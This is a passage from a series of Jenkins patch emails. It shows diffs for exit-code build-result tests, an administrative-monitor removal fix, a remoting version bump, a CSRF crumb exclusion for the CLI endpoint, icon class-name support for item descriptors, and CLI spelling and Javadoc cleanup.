+ public void windowsNonZeroErrorlevelsShouldBreakTheBuildByDefault() throws Exception { + assumeTrue(Functions.isWindows()); + for( int exitCode: new int [] {Integer.MIN_VALUE, -1, 1, Integer.MAX_VALUE}) { + nonZeroErrorlevelShouldBreakTheBuildByDefault(exitCode); + } + } + + private void nonZeroErrorlevelShouldBreakTheBuildIfNotMatching(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new BatchFileTest.ReturnCodeFakeLauncher(exitCode)); + + final int notMatchingExitCode = 44; + + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", notMatchingExitCode)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + } + + @Test + @Issue("JENKINS-23786") + public void windowsErrorlevelsShouldBreakTheBuildIfNotMatching() throws Exception { + assumeTrue(Functions.isWindows()); + for( int exitCode: new int [] {Integer.MIN_VALUE, -1, 1, Integer.MAX_VALUE}) { + nonZeroErrorlevelShouldBreakTheBuildIfNotMatching(exitCode); + } + } + + @Test + @Issue("JENKINS-23786") + public void windowsErrorlevel0ShouldNeverMakeTheBuildUnstable() throws Exception { + assumeTrue(Functions.isWindows()); + + PretendSlave slave = rule.createPretendSlave(new BatchFileTest.ReturnCodeFakeLauncher(0)); + for( Integer unstableReturn: new Integer [] {null, 0, 1}) { + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", unstableReturn)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + } + } + + @Issue("JENKINS-23786") + @Test + public void windowsUnstableCodeZeroIsSameAsUnset() throws Exception { + assumeTrue(Functions.isWindows()); + + /* Creating unstable=0 produces unstable=null */ + assertNull( createNewBatchTask("",0).getUnstableReturn() ); + } } diff --git a/test/src/test/java/hudson/tasks/ShellTest.java b/test/src/test/java/hudson/tasks/ShellTest.java index 540720a565..f83675e824 100644 --- a/test/src/test/java/hudson/tasks/ShellTest.java +++ b/test/src/test/java/hudson/tasks/ShellTest.java @@ -1,21 +1,22 @@ package hudson.tasks; +import static org.junit.Assert.assertNull; + import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; -import static org.junit.Assume.assumeTrue; - +import static org.junit.Assume.assumeFalse; import hudson.Functions; import hudson.Launcher.ProcStarter; import hudson.Proc; -import hudson.model.Result; import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; +import hudson.model.Result; + import org.apache.commons.io.FileUtils; import org.jvnet.hudson.test.FakeLauncher; -import org.jvnet.hudson.test.HudsonTestCase; -import org.jvnet.hudson.test.PretendSlave; import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.PretendSlave; import java.io.File; import java.io.IOException; @@ -73,7 +74,7 @@ public class ShellTest { FreeStyleProject p = rule.createFreeStyleProject(); p.getBuildersList().add(new Shell("echo abc")); p.setAssignedNode(s); - + FreeStyleBuild b = rule.assertBuildStatusSuccess(p.scheduleBuild2(0).get()); assertEquals(1,s.numLaunch); @@ -96,54 +97,97 @@ public class ShellTest { } } + private static Shell createNewShell(String command, Integer unstableReturn) { + Shell shell = new Shell(command); + shell.setUnstableReturn(unstableReturn); + return shell; + } + + private void nonZeroExitCodeShouldMakeBuildUnstable(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new ReturnCodeFakeLauncher(exitCode)); + + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewShell("", exitCode)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + } + + @Test @Issue("JENKINS-23786") - public void testUnstableReturn() throws Exception { - if(Functions.isWindows()) - return; + public void unixExitCodes1To255ShouldMakeBuildUnstable() throws Exception { + assumeFalse(Functions.isWindows()); + for( int exitCode: new int [] {1, 2, 255}) { + nonZeroExitCodeShouldMakeBuildUnstable(exitCode); + } + } - PretendSlave returns2 = rule.createPretendSlave(new ReturnCodeFakeLauncher(2)); - PretendSlave returns1 = rule.createPretendSlave(new ReturnCodeFakeLauncher(1)); - PretendSlave returns0 = rule.createPretendSlave(new ReturnCodeFakeLauncher(0)); + private void nonZeroExitCodeShouldBreakTheBuildByDefault(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new ReturnCodeFakeLauncher(exitCode)); FreeStyleProject p; - FreeStyleBuild b; - /* Unstable=2, error codes 0/1/2 */ p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", 2)); - p.setAssignedNode(returns2); - b = assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + p.getBuildersList().add(createNewShell("", null)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", 2)); - p.setAssignedNode(returns1); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + p.getBuildersList().add(createNewShell("", 0)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + } - p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", 2)); - p.setAssignedNode(returns0); - b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + @Test + @Issue("JENKINS-23786") + public void unixExitCodes1To255ShouldBreakTheBuildByDefault() throws Exception { + assumeFalse(Functions.isWindows()); - /* unstable=null, error codes 0/1/2 */ - p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", null)); - p.setAssignedNode(returns2); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + for( int exitCode: new int [] {1, 2, 255}) { + nonZeroExitCodeShouldBreakTheBuildByDefault(exitCode); + } + } - p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", null)); - p.setAssignedNode(returns1); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + private void nonZeroExitCodeShouldBreakTheBuildIfNotMatching(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new ReturnCodeFakeLauncher(exitCode)); - p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", null)); - p.setAssignedNode(returns0); - b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + final int notMatchingExitCode = 44; - /* Creating unstable=0 produces unstable=null */ - assertNull( new Shell("",0).getUnstableReturn() ); + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewShell("", notMatchingExitCode)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + } + @Test + @Issue("JENKINS-23786") + public void unixExitCodes1To255ShouldBreakTheBuildIfNotMatching() throws Exception { + assumeFalse(Functions.isWindows()); + for( int exitCode: new int [] {1, 2, 255}) { + nonZeroExitCodeShouldBreakTheBuildIfNotMatching(exitCode); + } } + @Test + @Issue("JENKINS-23786") + public void unixExitCodes0ShouldNeverMakeTheBuildUnstable() throws Exception { + assumeFalse(Functions.isWindows()); + + PretendSlave slave = rule.createPretendSlave(new ReturnCodeFakeLauncher(0)); + for( Integer unstableReturn: new Integer [] {null, 0, 1}) { + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewShell("", unstableReturn)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + } + } + + @Issue("JENKINS-23786") + @Test + public void unixUnstableCodeZeroIsSameAsUnset() throws Exception { + assumeFalse(Functions.isWindows()); + + /* Creating unstable=0 produces unstable=null */ + assertNull( createNewShell("",0).getUnstableReturn() ); + } } -- GitLab From d86825620225520194ac49a69ea1e7039e31145f Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Mon, 10 Oct 2016 16:28:24 +0200 Subject: [PATCH 202/712] [JENKINS-38678] Properly remove administrative monitors from the ExtensionList (#2577) * [JENKINS-38678] Remove properly administrative monitor previous impl didn't work because ExtensionList#iterator() returns a readonly iterator. * Use foreach loop --- core/src/main/java/jenkins/model/Jenkins.java | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 20c041e9ea..36c10fb42d 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1214,16 +1214,19 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve tcpSlaveAgentListener = null; } if (slaveAgentPort != -1 && tcpSlaveAgentListener == null) { - String administrativeMonitorId = getClass().getName() + ".tcpBind"; + final String administrativeMonitorId = getClass().getName() + ".tcpBind"; try { tcpSlaveAgentListener = new TcpSlaveAgentListener(slaveAgentPort); // remove previous monitor in case of previous error - for (Iterator it = AdministrativeMonitor.all().iterator(); it.hasNext(); ) { - AdministrativeMonitor am = it.next(); + AdministrativeMonitor toBeRemoved = null; + ExtensionList all = AdministrativeMonitor.all(); + for (AdministrativeMonitor am : all) { if (administrativeMonitorId.equals(am.id)) { - it.remove(); + toBeRemoved = am; + break; } } + all.remove(toBeRemoved); } catch (BindException e) { LOGGER.log(Level.WARNING, String.format("Failed to listen to incoming agent connections through JNLP port %s. Change the JNLP port number", slaveAgentPort), e); new AdministrativeError(administrativeMonitorId, -- GitLab From 7e0db20a2cfb08b49e32cf2ec8258ef3f4b3037e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 11 Oct 2016 12:47:38 +0200 Subject: [PATCH 203/712] [JENKINS-38539, JENKINS-37539] Update remoting from 2.62 to 2.62.2 (#2585) 2.61 does not exist, there was an issue during the release Changes in 2.62: https://github.com/jenkinsci/remoting/blob/stable-2.x/CHANGELOG.md#2622 * [JENKINS-38539](https://issues.jenkins-ci.org/browse/JENKINS-38539) - Stability: Turn on SO_KEEPALIVE and provide CLI option to turn it off again. (https://github.com/jenkinsci/remoting/pull/110) * [JENKINS-37539](https://issues.jenkins-ci.org/browse/JENKINS-37539) - Prevent NullPointerException in Engine#connect() when host or port parameters are null or empty. (https://github.com/jenkinsci/remoting/pull/101) * [CID-152201] - Fix resource leak in remoting.jnlp.Main. (https://github.com/jenkinsci/remoting/pull/102) * [CID-152200,CID-152202] - Resource leak in Encryption Cipher I/O streams on exceptional paths. (https://github.com/jenkinsci/remoting/pull/104) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 82aa8478ae..56231443e6 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.62 + 2.62.2 -- GitLab From b62ad15fef4790444af746ac4ae9149c37e89e07 Mon Sep 17 00:00:00 2001 From: Andres Rodriguez Date: Wed, 12 Oct 2016 17:45:38 +0200 Subject: [PATCH 204/712] [JENKINS-38814] Use GREEDY `RemoteInputStream`s (#2583) --- core/src/main/java/hudson/FilePath.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index 361e907ba4..a406ffc85a 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -552,7 +552,7 @@ public final class FilePath implements Serializable { * @see #unzip(FilePath) */ public void unzipFrom(InputStream _in) throws IOException, InterruptedException { - final InputStream in = new RemoteInputStream(_in); + final InputStream in = new RemoteInputStream(_in, Flag.GREEDY); act(new SecureFileCallable() { public Void invoke(File dir, VirtualChannel channel) throws IOException { unzip(dir, in); @@ -718,7 +718,7 @@ public final class FilePath implements Serializable { */ public void untarFrom(InputStream _in, final TarCompression compression) throws IOException, InterruptedException { try { - final InputStream in = new RemoteInputStream(_in); + final InputStream in = new RemoteInputStream(_in, Flag.GREEDY); act(new SecureFileCallable() { public Void invoke(File dir, VirtualChannel channel) throws IOException { readFromTar("input stream",dir, compression.extract(in)); -- GitLab From 9f42774315a5d6316da8031ff51e5b866fc07d9a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 22 Sep 2016 17:02:06 +0200 Subject: [PATCH 205/712] [FIX JENKINS-18114] Exclude /cli URL from crumb requirement (#2315) * [FIX JENKINS-18114] Exclude /cli URL from crumb requirement * [JENKINS-18114] Fix test: Don't send the crumb The CLI doesn't do this either. (cherry picked from commit de740c756f7de7fd225919342fa01796367abf00) --- .../java/hudson/cli/CliCrumbExclusion.java | 52 +++++++++++++++++++ .../test/java/hudson/cli/CLIActionTest.java | 1 - 2 files changed, 52 insertions(+), 1 deletion(-) create mode 100644 core/src/main/java/hudson/cli/CliCrumbExclusion.java diff --git a/core/src/main/java/hudson/cli/CliCrumbExclusion.java b/core/src/main/java/hudson/cli/CliCrumbExclusion.java new file mode 100644 index 0000000000..ac49349ccf --- /dev/null +++ b/core/src/main/java/hudson/cli/CliCrumbExclusion.java @@ -0,0 +1,52 @@ +/* + * The MIT License + * + * Copyright (c) 2016 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.cli; + +import hudson.Extension; +import hudson.security.csrf.CrumbExclusion; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; + +import javax.servlet.FilterChain; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * Makes CLI HTTP fallback work with CSRF protection enabled (JENKINS-18114). + */ +@Extension +@Restricted(DoNotUse.class) +public class CliCrumbExclusion extends CrumbExclusion { + @Override + public boolean process(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException { + String pathInfo = request.getPathInfo(); + if (pathInfo != null && "/cli".equals(pathInfo)) { + chain.doFilter(request, response); + return true; + } + return false; + } +} diff --git a/test/src/test/java/hudson/cli/CLIActionTest.java b/test/src/test/java/hudson/cli/CLIActionTest.java index b42a89b329..87efece940 100644 --- a/test/src/test/java/hudson/cli/CLIActionTest.java +++ b/test/src/test/java/hudson/cli/CLIActionTest.java @@ -89,7 +89,6 @@ public class CLIActionTest { settings.setHttpMethod(HttpMethod.POST); settings.setAdditionalHeader("Session", UUID.randomUUID().toString()); settings.setAdditionalHeader("Side", "download"); // We try to download something to init the duplex channel - settings = wc.addCrumb(settings); Page page = wc.getPage(settings); WebResponse webResponse = page.getWebResponse(); -- GitLab From bd834fe831b14a0658594ab6b3a4a68a8f3de808 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 13 Oct 2016 12:39:51 +0100 Subject: [PATCH 206/712] [FIXED JENKINS-38960] Deprecate getIconFilePathPattern and switch to IconSpec --- .../java/hudson/model/FreeStyleProject.java | 13 +++++++ .../hudson/model/TopLevelItemDescriptor.java | 37 ++++++++++++++++++- core/src/main/java/hudson/model/View.java | 1 + 3 files changed, 50 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/FreeStyleProject.java b/core/src/main/java/hudson/model/FreeStyleProject.java index ed7b325238..aecfc5cba2 100644 --- a/core/src/main/java/hudson/model/FreeStyleProject.java +++ b/core/src/main/java/hudson/model/FreeStyleProject.java @@ -25,6 +25,8 @@ package hudson.model; import hudson.Extension; import jenkins.model.Jenkins; +import org.jenkins.ui.icon.Icon; +import org.jenkins.ui.icon.IconSet; import org.jenkinsci.Symbol; import jenkins.model.item_category.StandaloneProjectsCategory; import org.kohsuke.accmod.Restricted; @@ -97,5 +99,16 @@ public class FreeStyleProject extends Project i return (Jenkins.RESOURCE_PATH + "/images/:size/freestyleproject.png").replaceFirst("^/", ""); } + @Override + public String getIconClassName() { + return "icon-freestyle-project"; + } + + static { + IconSet.icons.addIcon(new Icon("icon-freestyle-project icon-sm", "16x16/freestyleproject.png", Icon.ICON_SMALL_STYLE)); + IconSet.icons.addIcon(new Icon("icon-freestyle-project icon-md", "24x24/freestyleproject.png", Icon.ICON_MEDIUM_STYLE)); + IconSet.icons.addIcon(new Icon("icon-freestyle-project icon-lg", "32x32/freestyleproject.png", Icon.ICON_LARGE_STYLE)); + IconSet.icons.addIcon(new Icon("icon-freestyle-project icon-xlg", "48x48/freestyleproject.png", Icon.ICON_XLARGE_STYLE)); + } } } diff --git a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java index f53306d1b2..0d974d72b9 100644 --- a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java +++ b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java @@ -30,6 +30,9 @@ import org.acegisecurity.AccessDeniedException; import org.apache.commons.jelly.Script; import org.apache.commons.jelly.XMLOutput; import org.apache.commons.lang.StringUtils; +import org.jenkins.ui.icon.Icon; +import org.jenkins.ui.icon.IconSet; +import org.jenkins.ui.icon.IconSpec; import org.kohsuke.stapler.MetaClass; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; @@ -48,7 +51,7 @@ import java.util.logging.Logger; * * @author Kohsuke Kawaguchi */ -public abstract class TopLevelItemDescriptor extends Descriptor { +public abstract class TopLevelItemDescriptor extends Descriptor implements IconSpec { private static final Logger LOGGER = Logger.getLogger(TopLevelItemDescriptor.class.getName()); @@ -189,6 +192,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor { * @return A string or null if it is not defined. * * @since 2.0 + * @deprecated prefer {@link #getIconClassName()} */ @CheckForNull public String getIconFilePathPattern() { @@ -203,6 +207,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor { * @return A string or null if it is not defined. * * @since 2.0 + * @deprecated prefer {@link #getIconClassName()} */ @CheckForNull public String getIconFilePath(String size) { @@ -212,6 +217,36 @@ public abstract class TopLevelItemDescriptor extends Descriptor { return null; } + /** + * Get the Item's Icon class specification e.g. 'icon-notepad'. + *

    + * Note: do NOT include icon size specifications (such as 'icon-sm'). + * + * @return The Icon class specification e.g. 'icon-notepad'. + */ + @Override + public String getIconClassName() { + // Oh the fun of somebody adding a legacy way of referencing images into 2.0 code + String pattern = getIconFilePathPattern(); + if (pattern != null) { + // here we go with the dance of the IconSet's + String path = pattern.replace(":size", "24x24"); // we'll strip the icon-md to get the class name + if (path.indexOf('/') == -1) { + // this one is easy... too easy... also will never happen + return IconSet.toNormalizedIconNameClass(path); + } + if (Jenkins.RESOURCE_PATH.length() > 0 && path.startsWith(Jenkins.RESOURCE_PATH)) { + // will to live falling + path = path.substring(Jenkins.RESOURCE_PATH.length()); + } + Icon icon = IconSet.icons.getIconByUrl(path); + if (icon != null) { + return icon.getClassSpec().replaceAll("\\s*icon-md\\s*", " ").replaceAll("\\s+", " "); + } + } + return null; + } + /** * @deprecated since 2007-01-19. * This is not a valid operation for {@link Item}s. diff --git a/core/src/main/java/hudson/model/View.java b/core/src/main/java/hudson/model/View.java index 41807209f9..af7aff1651 100644 --- a/core/src/main/java/hudson/model/View.java +++ b/core/src/main/java/hudson/model/View.java @@ -1058,6 +1058,7 @@ public abstract class View extends AbstractModelObject implements AccessControll metadata.put("displayName", descriptor.getDisplayName()); metadata.put("description", descriptor.getDescription()); metadata.put("iconFilePathPattern", descriptor.getIconFilePathPattern()); + metadata.put("iconClassName", descriptor.getIconClassName()); Category category = categories.getItem(ic.getId()); if (category != null) { -- GitLab From 780fdf1d0c662d81c2e9e521ba8e6606859d562b Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 13 Oct 2016 12:48:39 +0100 Subject: [PATCH 207/712] Fix javadoc --- core/src/main/java/hudson/model/TopLevelItemDescriptor.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java index 0d974d72b9..b6745ba3b4 100644 --- a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java +++ b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java @@ -219,7 +219,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor im /** * Get the Item's Icon class specification e.g. 'icon-notepad'. - *

    + *

    * Note: do NOT include icon size specifications (such as 'icon-sm'). * * @return The Icon class specification e.g. 'icon-notepad'. -- GitLab From 4a97222aadd8af2623a547b5a7099b946c8cfd82 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 13 Oct 2016 14:22:42 +0100 Subject: [PATCH 208/712] [JENKINS-38960] The new item page should use the IconClassName preferentially - Such a pity that we don't auto-populate the CSS with the image sources for all the icons --- core/src/main/java/hudson/model/View.java | 26 +++++++++++++++++++++-- war/src/main/js/add-item.js | 7 ++++-- 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/model/View.java b/core/src/main/java/hudson/model/View.java index af7aff1651..9683370a73 100644 --- a/core/src/main/java/hudson/model/View.java +++ b/core/src/main/java/hudson/model/View.java @@ -67,7 +67,11 @@ import jenkins.util.xml.XMLUtils; import net.sf.json.JSON; import net.sf.json.JSONArray; import net.sf.json.JSONObject; +import org.apache.commons.jelly.JellyContext; +import org.apache.commons.lang.StringUtils; import org.apache.tools.ant.filters.StringInputStream; +import org.jenkins.ui.icon.Icon; +import org.jenkins.ui.icon.IconSet; import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; @@ -1044,10 +1048,18 @@ public abstract class View extends AbstractModelObject implements AccessControll * @return A {@link Categories} entity that is shown as JSON file. */ @Restricted(DoNotUse.class) - public Categories doItemCategories(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { + public Categories doItemCategories(StaplerRequest req, StaplerResponse rsp, @QueryParameter String iconStyle) throws IOException, ServletException { getOwner().checkPermission(Item.CREATE); Categories categories = new Categories(); int order = 0; + JellyContext ctx; + + if (StringUtils.isNotBlank(iconStyle)) { + ctx = new JellyContext(); + ctx.setVariable("resURL", req.getContextPath() + Jenkins.RESOURCE_PATH); + } else { + ctx = null; + } for (TopLevelItemDescriptor descriptor : DescriptorVisibilityFilter.apply(getOwnerItemGroup(), Items.all(Jenkins.getAuthentication(), getOwnerItemGroup()))) { ItemCategory ic = ItemCategory.getCategory(descriptor); Map metadata = new HashMap(); @@ -1058,7 +1070,17 @@ public abstract class View extends AbstractModelObject implements AccessControll metadata.put("displayName", descriptor.getDisplayName()); metadata.put("description", descriptor.getDescription()); metadata.put("iconFilePathPattern", descriptor.getIconFilePathPattern()); - metadata.put("iconClassName", descriptor.getIconClassName()); + String iconClassName = descriptor.getIconClassName(); + if (StringUtils.isNotBlank(iconClassName)) { + metadata.put("iconClassName", iconClassName); + if (ctx != null) { + Icon icon = IconSet.icons + .getIconByClassSpec(StringUtils.join(new String[]{iconClassName, iconStyle}, " ")); + if (icon != null) { + metadata.put("iconQualifiedUrl", icon.getQualifiedUrl(ctx)); + } + } + } Category category = categories.getItem(ic.getId()); if (category != null) { diff --git a/war/src/main/js/add-item.js b/war/src/main/js/add-item.js index 7156144471..592b07a3d7 100644 --- a/war/src/main/js/add-item.js +++ b/war/src/main/js/add-item.js @@ -3,7 +3,7 @@ var $ = require('jquery-detached').getJQuery(); var getItems = function() { var d = $.Deferred(); - $.get('itemCategories?depth=3').done( + $.get('itemCategories?depth=3&iconStyle=icon-xlg').done( function(data){ d.resolve(data); } @@ -200,7 +200,10 @@ $.when(getItems()).done(function(data) { function drawIcon(elem) { var $icn; - if (elem.iconFilePathPattern) { + if (elem.iconClassName && elem.iconQualifiedUrl) { + $icn = $('

    '); + $([''].join('')).appendTo($icn); + } else if (elem.iconFilePathPattern) { $icn = $('
    '); var iconFilePath = jRoot + '/' + elem.iconFilePathPattern.replace(":size", "48x48"); $([''].join('')).appendTo($icn); -- GitLab From b50034c9bffb704acfce0bc49d99855b689eace6 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 15 Oct 2016 08:34:12 -0700 Subject: [PATCH 209/712] [FIXED JENKINS-38650] - Cleanup spelling in CLi commands + Javadoc updates (#2571) * [FIXED JENKINS-38650] - Cleanup spelling in CLi commands. Also adds some javadoc and since definitions. * [JENKINS-38650] - Move common warning message to the constant * [JENKINS-38650] - DeleteViewCommand should also use the constant string * [JENKINS-38650] - Rename the constant in order to make the name more explicit --- core/src/main/java/hudson/cli/CLICommand.java | 7 +++++++ .../main/java/hudson/cli/CancelQuietDownCommand.java | 2 +- core/src/main/java/hudson/cli/ClearQueueCommand.java | 2 +- core/src/main/java/hudson/cli/ConnectNodeCommand.java | 7 ++++--- core/src/main/java/hudson/cli/DeleteJobCommand.java | 5 +++-- core/src/main/java/hudson/cli/DeleteNodeCommand.java | 7 ++++--- core/src/main/java/hudson/cli/DeleteViewCommand.java | 2 +- .../main/java/hudson/cli/DisconnectNodeCommand.java | 7 ++++--- core/src/main/java/hudson/cli/OfflineNodeCommand.java | 5 +++-- core/src/main/java/hudson/cli/OnlineNodeCommand.java | 5 +++-- core/src/main/java/hudson/cli/QuietDownCommand.java | 2 +- .../java/hudson/cli/ReloadConfigurationCommand.java | 4 ++-- core/src/main/java/hudson/cli/ReloadJobCommand.java | 5 +++-- .../main/java/hudson/cli/WaitNodeOfflineCommand.java | 3 ++- .../main/java/hudson/cli/WaitNodeOnlineCommand.java | 3 ++- .../test/java/hudson/cli/ConnectNodeCommandTest.java | 6 +++--- .../src/test/java/hudson/cli/DeleteJobCommandTest.java | 8 ++++---- .../test/java/hudson/cli/DeleteNodeCommandTest.java | 8 ++++---- .../test/java/hudson/cli/DeleteViewCommandTest.java | 10 +++++----- .../java/hudson/cli/DisconnectNodeCommandTest.java | 6 +++--- .../test/java/hudson/cli/OfflineNodeCommandTest.java | 8 ++++---- .../test/java/hudson/cli/OnlineNodeCommandTest.java | 2 +- .../src/test/java/hudson/cli/ReloadJobCommandTest.java | 8 ++++---- 23 files changed, 69 insertions(+), 53 deletions(-) diff --git a/core/src/main/java/hudson/cli/CLICommand.java b/core/src/main/java/hudson/cli/CLICommand.java index 2f846c2e8c..95cf8dd4f6 100644 --- a/core/src/main/java/hudson/cli/CLICommand.java +++ b/core/src/main/java/hudson/cli/CLICommand.java @@ -124,6 +124,13 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { */ public transient PrintStream stdout,stderr; + /** + * Shared text, which is reported back to CLI if an error happens in commands + * taking lists of parameters. + * @since TODO + */ + static final String CLI_LISTPARAM_SUMMARY_ERROR_TEXT = "Error occurred while performing this command, see previous stderr output."; + /** * Connected to stdin of the CLI agent. * diff --git a/core/src/main/java/hudson/cli/CancelQuietDownCommand.java b/core/src/main/java/hudson/cli/CancelQuietDownCommand.java index d38a99edd1..24b2ec3018 100644 --- a/core/src/main/java/hudson/cli/CancelQuietDownCommand.java +++ b/core/src/main/java/hudson/cli/CancelQuietDownCommand.java @@ -33,7 +33,7 @@ import java.util.logging.Logger; * Cancel previous quiet down Jenkins - preparation for a restart * * @author pjanouse - * @since TODO + * @since 2.14 */ @Extension public class CancelQuietDownCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/ClearQueueCommand.java b/core/src/main/java/hudson/cli/ClearQueueCommand.java index 909e49bff3..8e76a477aa 100644 --- a/core/src/main/java/hudson/cli/ClearQueueCommand.java +++ b/core/src/main/java/hudson/cli/ClearQueueCommand.java @@ -34,7 +34,7 @@ import java.util.logging.Logger; * Clears the build queue * * @author pjanouse - * @since TODO + * @since 1.654 */ @Extension public class ClearQueueCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/ConnectNodeCommand.java b/core/src/main/java/hudson/cli/ConnectNodeCommand.java index ff9017a76e..ae20f5e608 100644 --- a/core/src/main/java/hudson/cli/ConnectNodeCommand.java +++ b/core/src/main/java/hudson/cli/ConnectNodeCommand.java @@ -37,13 +37,14 @@ import java.util.List; import java.util.logging.Logger; /** + * Reconnect to a node or nodes. * @author pjanouse - * @since TODO + * @since 2.6 */ @Extension public class ConnectNodeCommand extends CLICommand { - @Argument(metaVar="NAME", usage="Slave name, or empty string for master; comama-separated list is supported", required=true, multiValued=true) + @Argument(metaVar="NAME", usage="Slave name, or empty string for master; comma-separated list is supported", required=true, multiValued=true) private List nodes; @Option(name="-f", usage="Cancel any currently pending connect operation and retry from scratch") @@ -96,7 +97,7 @@ public class ConnectNodeCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/DeleteJobCommand.java b/core/src/main/java/hudson/cli/DeleteJobCommand.java index 127ec43f6c..642de5a06c 100644 --- a/core/src/main/java/hudson/cli/DeleteJobCommand.java +++ b/core/src/main/java/hudson/cli/DeleteJobCommand.java @@ -34,8 +34,9 @@ import java.util.HashSet; import 